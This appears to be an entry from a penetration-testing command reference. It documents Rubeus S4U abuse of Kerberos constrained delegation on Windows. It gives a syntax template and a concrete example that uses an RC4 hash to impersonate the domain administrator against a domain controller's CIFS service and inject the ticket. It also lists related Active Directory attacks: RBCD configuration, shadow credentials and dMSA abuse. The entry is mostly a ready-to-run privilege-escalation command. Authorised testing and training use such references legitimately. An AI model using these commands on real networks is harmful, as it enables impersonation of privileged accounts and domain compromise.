Rubeus S4U Delegation

Abuse constrained delegation via S4U on Windows using Rubeus

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: Rubeus.exe
Category: Privilege Escalation / Delegation Abuse
Platform: windows
Requires: Kerberos ticket
Protocols: KERBEROS

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

.\Rubeus.exe s4u /user:<user> /rc4:<hash> /impersonateuser:<target_user> /msdsspn:<service>/<target_host> /ptt

Examples

.\Rubeus.exe s4u /user:svc_account /rc4:e19ccf75ee54e06b06a5907af13cef42 /impersonateuser:administrator /msdsspn:cifs/dc01.corp.local /ptt

Tags

rubeus s4u delegation constrained windows impersonation

bloodyAD add badSuccessor Create a Delegated Managed Service Account (dMSA) and chain it via…
bloodyAD Set RBCD Configure Resource-Based Constrained Delegation: write…
Impacket Add Computer Create a new computer account in Active Directory (used for RBCD attacks)
Impacket getST (S4U) Abuse constrained delegation or RBCD via S4U2Self/S4U2Proxy to impersonate a user
Impacket RBCD Write Write msDS-AllowedToActOnBehalfOfOtherIdentity to configure RBCD on a target
NetExec badsuccessor Module (dMSA Abuse) Detect BadSuccessor dMSA-link abuse: a Server 2025 delegated Managed Service Account…
PyWhisker Shadow Credentials Add shadow credentials to a target account's msDS-KeyCredentialLink attribute
RBCD Attack Configure Resource-Based Constrained Delegation (RBCD) on a target computer